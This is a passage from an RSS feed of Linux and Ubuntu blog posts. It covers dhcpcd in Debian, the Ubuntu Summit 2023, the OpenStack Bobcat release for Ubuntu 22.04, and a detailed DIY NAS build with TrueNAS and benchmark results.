0pt;"><span face="Arial,sans-serif" style="background-color: transparent; color: black; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><a href="https://docs.google.com/document/d/e/2PACX-1vTSU27PLnDXWKjRJfIcjwh9B0jlSN-tnaO4_eZ_0V5C2oYOPLLblnj3jQOzCKqCwbnqGmpTIE10ZiQo/pub">https://docs.google.com/document/d/e/2PACX-1vTSU27PLnDXWKjRJfIcjwh9B0jlSN-tnaO4_eZ_0V5C2oYOPLLblnj3jQOzCKqCwbnqGmpTIE10ZiQo/pub</a>&nbsp;</span></p><br /><br />]]></description>
      <source url="https://feeds.feedburner.com/TodayNotesBlogAboutLinuxOpenSourceComputerInternet">Harisfazillah Jamel</source>
    </item>
    <item>
      <title>dhcpcd almost ready to replace ISC dhclient in Debian</title>
      <link>http://q-funk.blogspot.com/2023/11/dhcpcd-almost-ready-to-replace-isc.html</link>
      <guid isPermaLink="true">http://q-funk.blogspot.com/2023/11/dhcpcd-almost-ready-to-replace-isc.html</guid>
      <pubDate>Thu, 16 Nov 2023 08:31:00 GMT</pubDate>
      <description><![CDATA[<p>A lot of time has passed since my previous post on my work to make <b>dhcpcd</b> the drop-in replacement for the deprecated ISC dhclient a.k.a. <b>isc-dhcp-client</b>. Current status:</p>
<ul>
  <li>Upstream now regularly produces releases and with a smaller delta than before. This makes it easier to track possible breakage.</li>
  <li>Debian packaging has essentially remained unchanged. A few Recommends were shuffled, but that's about it.</li>
  <li>The only remaining bug is fixing the build for <b>Hurd</b>. Patches are welcome. Once that is fixed, bumping <b>dhcpcd-base</b>'s priority to important is all that's left.</li>
</ul>]]></description>
      <source url="http://q-funk.blogspot.com/feeds/posts/default/-/Ubuntu">Martin-Éric Racine</source>
    </item>
    <item>
      <title>Ubuntu Summit 2023</title>
      <link>https://rossgammon68.wordpress.com/2023/11/05/ubuntu-summit-2023/</link>
      <guid isPermaLink="true">https://rossgammon68.wordpress.com/2023/11/05/ubuntu-summit-2023/</guid>
      <pubDate>Sun, 05 Nov 2023 16:01:16 GMT</pubDate>
      <description><![CDATA[<p><img data-attachment-id="1853" data-permalink="https://rossgammon68.wordpress.com/2023/11/05/ubuntu-summit-2023/ubuntusummit2023/" data-orig-file="https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg" data-orig-size="875,656" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="UbuntuSummit2023" data-image-description="" data-image-caption="" data-large-file="https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg?w=440" class="alignnone size-full wp-image-1853" src="https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg?w=440" alt="UbuntuSummit2023"   srcset="https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg 875w, https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg?w=150&amp;h=112 150w, https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg?w=300&amp;h=225 300w, https://rossgammon68.wordpress.com/wp-content/uploads/2023/11/ubuntusummit2023.jpg?w=768&amp;h=576 768w" sizes="(max-width: 875px) 100vw, 875px" /></p>
<p>I am currently attending the Ubuntu Summit 2023 in Riga, Latvia. This is the first time I have deliberately attended an Ubuntu event. Back in 2013, I accidentally walked through what I believe was the last Ubuntu Developers Summit in Copenhagen, when I was showing some friends around Bella Sky in Copenhagen.</p>
<p>This time I was asked by Erich Eickmeyer if I would like to join him as a member of the <a href="https://ubuntustudio.org/">Ubuntu Studio</a> team. It has been fantastic to meet him and <span class="speaker-item-inline">Eylul Dogrue</span>l from the Ubuntu Studio team. It was also fantastic to meet or see in person other members of the Linux Audio community, and other Ubuntu and Canonical people that have helped me with my Ubuntu contributions along the way.</p>
<p>Here are the talks I attended and meetings I had related to Ubuntu Studio:</p>
<div class="contrib-title info"><strong><span class="value">50 things you did not know you could do with Ardour , </span></strong><span class="speaker-item-inline"><span class="speaker-title">Dr</span> Robin Gareus <span class="affiliation"> <span class="text">(Ardour, Linux Audio)</span></span></span></div>
<div>
<div class="contrib-title info"><strong><span class="value">Making a standalone effects pedal system based on embed Linux, </span></strong><span class="speaker-item-inline">Filipe Coelho</span></div>
<div>
<div class="contrib-title info"><span class="value"><strong>Live Mixing with PipeWire and Ardour/Harrison Mixbus, </strong></span><span class="speaker-item-inline">Erich Eickmeyer <span class="affiliation"><span class="text">(Ubuntu / Ubuntu Studio)</span></span></span></div>
<div>
<div class="contrib-title info"><strong><span class="value">Art and ownership &#8211; the confusing problem of owning a visual idea,</span></strong><span class="speaker-item-inline"> Eylul Dogruel <span class="affiliation"><span class="text">(Ubuntu Studio)</span></span></span></div>
</div>
<div>
<div class="contrib-title info"><strong><span class="value">Ubuntu Flavour Sync meeting, </span></strong><span class="speaker-item-inline"> Aaron Prisk <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"> Ana Sereijo <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"> Daniel Bungert <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"><span class="speaker-title">Mr</span> Mauro Gaspari <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"> Michael Hudson-Doyle <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"> Oliver Smith <span class="affiliation"><span class="text">(Canonical)</span></span></span>, <span class="speaker-item-inline"><span class="speaker-title">Mr</span> Tim Holmes-Mitra <span class="affiliation"><span class="text">(Canonical)</span></span></span></div>
<div></div>
</div>
</div>
</div>
<div>I believe talks will be uploaded onto You Tube at some point, so look out for them!</div>]]></description>
      <source url="https://rossgammon68.wordpress.com/category/open-source/ubuntu/ubuntu-planet/feed/?mrss=off">Ross Gammon</source>
    </item>
    <item>
      <title>OpenStack 2023.2 Bobcat for Ubuntu 22.04 LTS</title>
      <link>https://wrestlingpenguins.wordpress.com/2023/10/06/openstack-2023-2-bobcat-for-ubuntu-22-04-lts/</link>
      <guid isPermaLink="true">https://wrestlingpenguins.wordpress.com/2023/10/06/openstack-2023-2-bobcat-for-ubuntu-22-04-lts/</guid>
      <pubDate>Fri, 06 Oct 2023 12:47:34 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">The Ubuntu OpenStack team at Canonical is pleased to announce the general availability of OpenStack&nbsp;2023.2 Bobcat on Ubuntu 22.04 LTS (Jammy Jellyfish). For more details on the release, please see the <a href="https://releases.openstack.org/bobcat">OpenStack 2023.2 Bobcat release notes</a>.</p>



<p class="wp-block-paragraph">The Ubuntu Cloud Archive for OpenStack&nbsp;2023.2 Bobcat can be enabled on Ubuntu 22.04 by running the following command:</p>



<p class="wp-block-paragraph"><code>sudo add-apt-repository cloud-archive:bobcat</code></p>



<p class="wp-block-paragraph">The Ubuntu Cloud Archive for&nbsp;2023.2 Bobcat includes updates for:</p>



<p class="wp-block-paragraph">aodh, barbican, ceilometer, ceph (18.2.0), cinder, designate, designate-dashboard, dpdk (22.11.3), glance, gnocchi, heat, heat-dashboard, horizon, ironic, ironic-ui, keystone, magnum, magnum-ui, manila, manila-ui, masakari, mistral, murano, murano-dashboard, networking-arista, networking-bagpipe, networking-baremetal, networking-bgpvpn,&nbsp;networking-l2gw, networking-mlnx, networking-sfc,&nbsp;neutron, neutron-dynamic-routing, neutron-fwaas, neutron-taas, neutron-vpnaas, nova, octavia, octavia-dashboard, openstack-trove, openvswitch (3.2.0), ovn (23.09.0), ovn-octavia-provider, placement, sahara, sahara-dashboard, senlin, swift, trove-dashboard, vitrage, watcher, watcher-dashboard, zaqar, and zaqar-ui.</p>



<p class="wp-block-paragraph">For a full list of packages and versions, please refer to the <a href="https://openstack-ci-reports.ubuntu.com/reports/cloud-archive/bobcat_versions.html">Ubuntu Cloud Archive Tracker</a>.</p>



<p class="wp-block-paragraph"><strong>Reporting bugs</strong></p>



<p class="wp-block-paragraph">If you have any issues please report bugs using the ‘ubuntu-bug’ tool to ensure that bugs get logged in the right place in Launchpad:</p>



<p class="wp-block-paragraph"><code>sudo ubuntu-bug nova-conductor</code></p>



<p class="wp-block-paragraph">Thank you to everyone who contributed to OpenStack&nbsp;2023.2 Bobcat!</p>]]></description>
      <source url="https://wrestlingpenguins.wordpress.com/category/ubuntu/feed/?mrss=off">Corey Bryant</source>
    </item>
    <item>
      <title>Building a NAS</title>
      <link>https://apebox.org/wordpress/tech/1325</link>
      <guid isPermaLink="true">https://apebox.org/wordpress/tech/1325</guid>
      <pubDate>Tue, 12 Sep 2023 21:33:05 GMT</pubDate>
      <description><![CDATA[<h2 class="wp-block-heading">The status quo</h2>



<p>Back in 2015, I bought an off-the-shelf NAS, a QNAP TS-453mini, to act as my file store and Plex server. I had previously owned a Synology box, and whilst I liked the Synology OS and experience, the hardware was underwhelming. I loaded up the successor QNAP with four 5TB drives in RAID10, and moved all my files over (after some initial DoA drive issues were handled).</p>



<figure class="wp-block-image size-medium"><img fetchpriority="high" decoding="async" width="550" height="550" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-3-550x550.png" alt="QNAP TS-453mini product photo" class="wp-image-1329" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-3-550x550.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-3-150x150.png 150w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-3-768x768.png 768w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-3.png 850w" sizes="(max-width: 550px) 100vw, 550px" /><figcaption class="wp-element-caption">QNAP TS-453mini product photo</figcaption></figure>



<p>That thing has been in service for about 8 years now, and it&#8217;s been&#8230; a mixed bag. It was definitely more powerful than the predecessor system, but it was clear that QNAP&#8217;s OS was not up to the same standard as Synology&#8217;s &#8211; perhaps best exemplified by &#8220;HappyGet 2&#8221;, the QNAP webapp for downloading videos from streaming services like YouTube, whose icon is a straight rip-off of StarCraft 2. On its own, meaningless &#8211; but a bad omen for overall software quality</p>



<span id="more-1325"></span>



<figure class="wp-block-image size-full"><img decoding="async" width="884" height="172" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-2.png" alt="The logo for QNAP HappyGet 2 and Blizzard's Starcraft 2 side by side" class="wp-image-1328" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-2.png 884w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-2-550x107.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-2-768x149.png 768w" sizes="(max-width: 884px) 100vw, 884px" /><figcaption class="wp-element-caption">The logo for QNAP HappyGet 2 and Blizzard&#8217;s StarCraft 2 side by side</figcaption></figure>



<p>Additionally, the embedded Celeron processor in the NAS turned out to be an issue for some cases. It turns out, when playing back videos with subtitles, most Plex clients do not support subtitles properly &#8211; instead they rely on the Plex server doing JIT transcoding to bake the subtitles directly into the video stream. I discovered this with some Blu-Ray rips of Game of Thrones &#8211; some episodes would play back fine on my smart TV, but episodes with subtitled Dothraki speech would play at only 2 or 3 frames per second.</p>



<p>The final straw was a ransomware attack, which went through all my data and locked every file below a 60MiB threshold. Practically all my music gone. A substantial collection of downloaded files, all gone. Some of these files had been carried around since my college days &#8211; digital rarities, or at least digital detritus I felt a real sense of loss at having to replace. This episode was caused by a ransomware targeting specific vulnerabilities in the QNAP OS, not an error on my part.</p>



<p>So, I decided to start planning a replacement with:</p>



<ul class="wp-block-list">
<li>A non-garbage OS, whilst still being a NAS-appliance type offering (not an off-the-shelf Linux server distro)</li>



<li>Full remote management capabilities</li>



<li>A small form factor comparable to off-the-shelf NAS</li>



<li>A powerful modern CPU capable of transcoding high resolution video</li>



<li>All flash storage, no spinning rust</li>
</ul>



<p>At the time, no consumer NAS offered everything (The Asustor FS6712X exists now, but didn&#8217;t when this project started), so I opted to go for a full DIY rather than an appliance &#8211; not the first time I&#8217;ve jumped between appliances and DIY for home storage.</p>



<h2 class="wp-block-heading">Selecting the core of the system</h2>



<p>There aren&#8217;t many companies which will sell you a small motherboard with IPMI. Supermicro is a bust, so is Tyan. But ASRock Rack, the server division of third-tier motherboard vendor ASRock, delivers. Most of their boards aren&#8217;t actually compliant Mini-ITX size, they&#8217;re a proprietary &#8220;Deep Mini-ITX&#8221; with the regular screw holes, but 40mm of extra length (and a commensurately small list of compatible cases). But, thankfully, they do have a tiny selection of boards without the extra size, and I stumbled onto the <a href="https://www.asrockrack.com/general/productdetail.asp?Model=X570D4I-2T">X570D4I-2T</a>, a board with an AMD AM4 socket and the mature X570 chipset. This board can use <em>any</em> AMD Ryzen chip (before the latest-gen Ryzen 7000 series); has built in dual 10 gigabit ethernet; IPMI; four (laptop-sized) RAM slots with full ECC support; one M.2 slot for NVMe SSD storage; a PCIe 16x slot (generally for graphics cards, but we live in a world of possibilities); and up to 8 SATA drives OR a couple more NVMe SSDs. It&#8217;s astonishingly well featured, just a shame it costs about $450 compared to a good consumer-grade Mini ITX AM4 board costing less than half that.</p>



<p>I was so impressed with the offering, in fact, that I crowed about it on Mastodon and ended up securing ASRock another sale, with someone else looking into a very similar project to mine around the same timespan.</p>



<p>The next question was the CPU. An important feature of a system expected to run 24/7 is low power, and AM4 chips can consume as much as 130W under load, out of the box. At the other end, some models can require as little as 35W under load &#8211; the OEM-only &#8220;GE&#8221; suffix chips, which are readily found for import on eBay. In their &#8220;PRO&#8221; variant, they also support ECC (all non-G Ryzen chips support ECC, but only Pro G chips do). The top of the range 8 core Ryzen 7 PRO 5750GE is prohibitively expensive, but the slightly weaker 6 core <a href="https://www.amd.com/en/products/apu/amd-ryzen-5-pro-5650ge">Ryzen 5 PRO 5650GE</a> was affordable, and one arrived quickly from Hong Kong. Supplemented with a couple of cheap 16 GiB SODIMM sticks of DDR4 PC-3200 direct from Micron for under $50 a piece, that left only cooling as an unsolved problem to get a bootable test system.</p>



<p>The official support list for the X570D4I-2T only includes two rackmount coolers, both expensive and hard to source. The reason for such a small list is the non standard cooling layout of the board &#8211; instead of an AM4 hole pattern with the standard plastic AM4 retaining clips, it has an Intel 115x hole pattern with a non-standard backplate (Intel 115x boards have no backplate, the stock Intel 115x cooler attaches to the holes with push pins). As such every single cooler compatibility list excludes this motherboard. However, the backplate is only secured with a mild glue &#8211; with minimal pressure and a plastic prying tool it can be removed, giving compatibility with any 115x cooler (which is basically any CPU cooler for more than a decade). I picked an oversized low profile <a href="http://thermalright.com/product/axp120-x67-black-argb/">Thermalright AXP120-X67</a> hoping that its 120mm fan would cool the nearby MOSFETs and X570 chipset too.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="768" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-1024x768.jpg" alt="" class="wp-image-1333" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-1024x768.jpg 1024w, https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-550x413.jpg 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-768x576.jpg 768w, https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-1536x1152.jpg 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/08/img_7819-2048x1536.jpg 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Thermalright AXP120-X67, AMD Ryzen 5 PRO 5650GE, ASRock Rack X570D4I-2T, all assembled and running on a flat surface</figcaption></figure>



<h2 class="wp-block-heading">Testing up to this point</h2>



<p>Using a spare ATX power supply, I had enough of a system built to explore the IPMI and UEFI instances, and run MemTest86 to validate my progress. The memory test ran without a hitch and confirmed the ECC was working, although it also showed that the memory was only running at 2933 MT/s instead of the rated 3200 MT/s (a limit imposed by the motherboard, as higher speeds are considered overclocking). The IPMI interface isn&#8217;t the best I&#8217;ve ever used by a long shot, but it&#8217;s minimum viable and allowed me to configure the basics and boot from media entirely via a Web browser.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="905" height="819" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-5.png" alt="" class="wp-image-1341" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-5.png 905w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-5-550x498.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-5-768x695.png 768w" sizes="auto, (max-width: 905px) 100vw, 905px" /><figcaption class="wp-element-caption">Memtest86 showing test progress, taken from IPMI remote control window</figcaption></figure>



<p>One sad discovery, however, which I&#8217;ve never seen documented before, on PCIe bifurcation.</p>



<p>With PCI Express, you have a number of &#8220;lanes&#8221; which are allocated in groups by the motherboard and CPU manufacturer. For Ryzen prior to Ryzen 7000, that&#8217;s 16 lanes in one slot for the graphics card; 4 lanes in one M.2 connector for an SSD; then 4 lanes connecting the CPU to the chipset, which can offer whatever it likes for peripherals or extra lanes (bottlenecked by that shared 4x link to the CPU, if it comes down to it).</p>



<p>It&#8217;s possible, with motherboard and CPU support, to split PCIe groups up &#8211; for example an 8x slot could be split into two 4x slots (eg allowing two NVMe drives in an adapter card &#8211; NVME drives these days all use 4x). However with a &#8220;Cezanne&#8221; Ryzen with integrated graphics, the 16x graphics card slot cannot be split into four 4x slots (ie used for for NVMe drives) &#8211; the most bifurcation it allows is 8x4x4x, which is useless in a NAS.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="897" height="806" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-4.png" alt="" class="wp-image-1336" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-4.png 897w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-4-550x494.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-4-768x690.png 768w" sizes="auto, (max-width: 897px) 100vw, 897px" /><figcaption class="wp-element-caption">Screenshot of PCIe 16x slot bifurcation options in UEFI settings, taken from IPMI remote control window</figcaption></figure>



<p>As such, I had to abandon any ideas of an all-NVMe NAS I was considering: the 16x slot split into four 4x, combined with two 4x connectors fed by the X570 chipset, to a total of 6 NVMe drives. 7.6TB U.2 enterprise disks are remarkably affordable (cheaper than consumer SATA 8TB drives), but alas, I was locked out by my 5650GE. Thankfully I found out before spending hundreds on a U.2 hot swap bay. The NVMe setup would be nearly 10x as fast as SATA SSDs, but at least the SATA SSD route would still outperform any spinning rust choice on the market (including the fastest 10K RPM SAS drives)</p>



<h2 class="wp-block-heading">Containing the core</h2>



<p>The next step was to pick a case and power supply. A lot of NAS cases require an SFX (rather than ATX) size supply, so I ordered a modular <a href="https://www.silverstonetek.com/en/product/info/power-supplies/SX500-G/">SX500</a> unit from Silverstone. Even if I ended up with a case requiring ATX, it&#8217;s easy to turn an SFX power supply into ATX, and the worst result is you have less space taken up in your case, hardly the worst problem to have.</p>



<p>That said, on to picking a case. There&#8217;s only one brand with any cachet making ITX NAS cases, Silverstone. They have three choices in an appropriate size: <a href="https://www.silverstonetek.com/en/product/info/computer-chassis/CS01-HS/">CS01-HS</a>, <a href="https://www.silverstonetek.com/en/product/info/computer-chassis/CS280/">CS280</a>, and <a href="https://www.silverstonetek.com/en/product/info/computer-chassis/DS380/">DS380</a>. The problem is, these cases are all badly designed garbage. Take the CS280 as an example, the case with the most space for a CPU cooler. Here&#8217;s how close together the hotswap bay (right) and power supply (left) are:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="568" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-6.png" alt="" class="wp-image-1343" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-6.png 800w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-6-550x391.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-6-768x545.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Internal image of Silverstone CS280 NAS build. Image stolen from <a href="https://www.servethehome.com/silverstone-cs280-review-8-bay-asrock-rack-diy-nas-build/2/">ServeTheHome</a></figcaption></figure>



<p>With actual cables connected, the cable clearance problem is even worse:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="800" height="533" src="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-7.png" alt="" class="wp-image-1344" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/08/image-7.png 800w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-7-550x366.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/08/image-7-768x512.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Internal image of Silverstone CS280 NAS build. Image stolen from <a href="https://www.servethehome.com/silverstone-cs280-review-8-bay-asrock-rack-diy-nas-build/2/">ServeTheHome</a></figcaption></figure>



<p>Remember, this is the <em>best</em> of the three cases for internal layout, the one with the least restriction on CPU cooler height. And it&#8217;s garbage! Total hot garbage! I decided therefore to completely skip the NAS case market, and instead purchase a 5.25&#8243;-to-2.5&#8243; hot swap bay adapter from Icy Dock, and put it in an ITX gamer case with a 5.25&#8243; bay. This is no longer a served market &#8211; 5.25&#8243; bays are extinct since nobody uses CD/DVD drives anymore. The ones on the market are really new old stock from 2014-2017: The <a href="https://www.fractal-design.com/products/cases/core/core-500/black/">Fractal Design Core 500</a>, <a href="https://www.coolermaster.com/catalog/cases/mini-itx/elite130/">Cooler Master Elite 130</a>, and <a href="https://www.silverstonetek.com/en/product/info/computer-chassis/SUGO14/">Silverstone SUGO 14</a>. Of the three, the Fractal is the best rated so I opted to get that one &#8211; however it seems the global supply of &#8220;new old stock&#8221; fully dried up in the two weeks between me making a decision and placing an order &#8211; leaving only the Silverstone case.</p>



<p>Icy Dock have a selection of 8-bay 2.5&#8243; SATA 5.25&#8243; hot swap chassis choices in their ToughArmor MB998 series. I opted for the <a href="https://global.icydock.com/product_169.html">ToughArmor MB998IP-B</a>, to reduce cable clutter &#8211; it requires only two SFF-8611-to-SF-8643 cables from the motherboard to serve all eight bays, which should make airflow less of a mess. The X570D4I-2T doesn&#8217;t have any SATA ports on board, instead it has two SFF-8611 OCuLink ports, each supporting 4 PCI Express lanes OR 4 SATA connectors via a breakout cable. I had hoped to get the ToughArmor MB118VP-B and run six U.2 drives, but as I said, the PCIe bifurcation issue with Ryzen &#8220;G&#8221; chips meant I wouldn&#8217;t be able to run all six bays successfully.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-1024x768.jpg" alt="" class="wp-image-1348" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-1024x768.jpg 1024w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-550x413.jpg 550w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-768x576.jpg 768w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-1536x1152.jpg 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7941-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">NAS build in Silverstone SUGO 14, mid build, panels removed</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-768x1024.jpg" alt="" class="wp-image-1349" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-768x1024.jpg 768w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-413x550.jpg 413w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-1152x1536.jpg 1152w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-1536x2048.jpg 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7942-scaled.jpg 1920w" sizes="auto, (max-width: 768px) 100vw, 768px" /><figcaption class="wp-element-caption">Silverstone SUGO 14 from the front, with hot swap bay installed</figcaption></figure>



<h2 class="wp-block-heading">Actual storage for the storage server</h2>



<p>My concept for the system always involved a fast boot/cache drive in the motherboard&#8217;s M.2 slot, non-redundant (just backups of the config if the worst were to happen) and separate storage drives somewhere between 3.8 and 8 TB each (somewhere from $200-$350). As a boot drive, I selected the <a href="https://www.intel.com/content/www/us/en/products/sku/211868/intel-optane-ssd-p1600x-series-58gb-m-2-80mm-pcie-3-0-x4-3d-xpoint/specifications.html">Intel Optane SSD P1600X 58G</a>, available for under $35 and rated for 228 years between failures (or 11,000 complete drive rewrite cycles).</p>



<p>So, on to the big expensive choice: storage drives. I narrowed it down to two contenders: new-old-stock Intel D3-S4510 3.84TB enterprise drives, at about $200, or Samsung 870 QVO 8TB consumer drives, at about $375. I did spend a long time agonizing over the specification differences, the ZFS usage reports, the expected lifetime endurance figures, but in reality, it came down to price &#8211; $1600 of expensive drives vs $3200 of even more expensive drives. That&#8217;s 27TB of usable capacity in RAID-Z1, or 23TB in RAID-Z2. For comparison, I&#8217;m using about 5TB of the old NAS, so that&#8217;s a LOT of overhead for expansion.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="768" src="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-1024x768.jpg" alt="" class="wp-image-1355" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-1024x768.jpg 1024w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-550x413.jpg 550w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-768x576.jpg 768w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-1536x1152.jpg 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7945-2048x1536.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">Storage SSD loaded into hot swap sled</figcaption></figure>



<h2 class="wp-block-heading">Booting up</h2>



<p>Bringing it all together is the OS. I wanted an &#8220;appliance&#8221; NAS OS rather than self-administering a Linux distribution, and after looking into the surrounding ecosystems, decided on <a href="https://www.truenas.com/truenas-scale/">TrueNAS Scale</a> (the beta of the 2023 release, based on Debian 12).</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="600" src="https://apebox.org/wordpress/wp-content/uploads/2023/09/image-1024x600.png" alt="" class="wp-image-1353" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/09/image-1024x600.png 1024w, https://apebox.org/wordpress/wp-content/uploads/2023/09/image-550x322.png 550w, https://apebox.org/wordpress/wp-content/uploads/2023/09/image-768x450.png 768w, https://apebox.org/wordpress/wp-content/uploads/2023/09/image-1536x900.png 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/09/image.png 2013w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">TrueNAS Dashboard screenshot in browser window</figcaption></figure>



<p>I set up RAID-Z1, and with zero tuning (other than enabling auto-TRIM), got the following performance numbers:</p>



<figure class="wp-block-table"><table><tbody><tr><td></td><td>IOPS</td><td>Bandwidth</td></tr><tr><td>4k random writes</td><td>19.3k</td><td>75.6 MiB/s</td></tr><tr><td>4k random reads</td><td>36.1k</td><td>141 MiB/s</td></tr><tr><td>Sequential writes</td><td>&#8211;</td><td>2300 MiB/s</td></tr><tr><td>Sequential reads</td><td>&#8211;</td><td>3800 MiB/s</td></tr></tbody></table><figcaption class="wp-element-caption">Results using fio parameters <a href="https://support.huaweicloud.com/intl/en-us/evs_faq/evs_faq_0019.html#evs_faq_0019__section273349017162">suggested by Huawei</a></figcaption></figure>



<p>And for comparison, the maximum theoretical numbers quoted by Intel for a single drive:</p>



<figure class="wp-block-table"><table><tbody><tr><td></td><td>IOPS</td><td>Bandwidth</td></tr><tr><td>4k random writes</td><td>16k</td><td>?</td></tr><tr><td>4k random reads</td><td>90k</td><td>?</td></tr><tr><td>Sequential writes</td><td>&#8211;</td><td>280 MiB/s</td></tr><tr><td>Sequential reads</td><td>&#8211;</td><td>560 MiB/s</td></tr></tbody></table><figcaption class="wp-element-caption">Numbers quoted by Intel SSD successors <a href="https://www.solidigm.com/products/data-center/d3/s4510.html">Solidigm</a>.</figcaption></figure>



<p>Finally, the numbers reported on the old NAS with four 7200 RPM hard disks in RAID 10:</p>



<figure class="wp-block-table"><table><tbody><tr><td></td><td>IOPS</td><td>Bandwidth</td></tr><tr><td>4k random writes</td><td>430</td><td>1.7 MiB/s</td></tr><tr><td>4k random reads</td><td>8006</td><td>32 MiB/s</td></tr><tr><td>Sequential writes</td><td>&#8211;</td><td>311 MiB/s</td></tr><tr><td>Sequential reads</td><td>&#8211;</td><td>566 MiB/s</td></tr></tbody></table></figure>



<p>Performance seems pretty OK. There&#8217;s always going to be an overhead to RAID. I&#8217;ll settle for the 45x improvement on random writes vs. its predecessor, and 4.5x improvement on random reads. The sequential write numbers are gonna be impacted by the size of the ZFS cache (50% of RAM, so 16 GiB), but the rest should be a reasonable indication of true performance.</p>



<p>It took me a little while to fully understand the TrueNAS permissions model, but I finally got Plex configured to access data from the same place as my SMB shares, which have anonymous read-only access or authenticated write access for myself and my wife, working fine via both Linux and Windows.</p>



